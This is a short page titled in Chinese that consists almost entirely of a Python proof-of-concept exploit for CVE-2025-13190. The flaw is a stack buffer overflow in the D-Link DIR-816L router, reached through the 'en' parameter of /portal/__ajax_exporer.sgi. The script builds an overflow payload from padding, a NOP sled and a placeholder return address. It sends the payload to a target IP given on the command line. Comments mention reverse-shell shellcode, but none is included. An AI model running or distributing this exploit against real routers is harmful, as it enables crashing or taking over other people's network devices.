D-Link DIR-816L路由器 scandir_main函数栈缓冲区溢出漏洞 (CVE-2025-13190)

#!/usr/bin/env python3 # CVE-2025-13190 PoC - D-Link DIR-816L Stack Buffer Overflow # Target: /portal/__ajax_exporer.sgi # Vulnerability: scandir_main function - stack-based buffer overflow via 'en' parameter import requests import sys def exploit_buffer_overflow(target_ip, target_port=80): """ Stack buffer overflow exploit for CVE-2025-13190 The 'en' parameter in /portal/__ajax_exporer.sgi is vulnerable """ target_url = f"http://{target_ip}:{target_port}/portal/__ajax_exporer.sgi" # Generate malicious payload for stack overflow # Buffer size varies, we use a large padding to ensure overflow padding = b'A' * 1000 # Optional: NOP sled for better shellcode placement nop_sled = b'\x90' * 100 # Shellcode for MIPS architecture (typical for D-Link routers) # This is a reverse shell shellcode example # Replace with actual targeted shellcode # Note: MIPS shellcode needs to be carefully crafted # Malicious return address (overwrite with address of NOP sled or shellcode) # For demonstration - actual address depends on firmware version return_addr = b'\x40\x10\x00\x58' # Example address, needs adjustment payload = padding + nop_sled + return_addr * 10 params = { 'en': payload.decode('latin-1') } try: print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload length: {len(payload)} bytes") response = requests.get(target_url, params=params, timeout=10) print(f"[+] Request sent, status code: {response.status_code}") print(f"[*] Response length: {len(response.content)} bytes") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_buffer_overflow(target, port)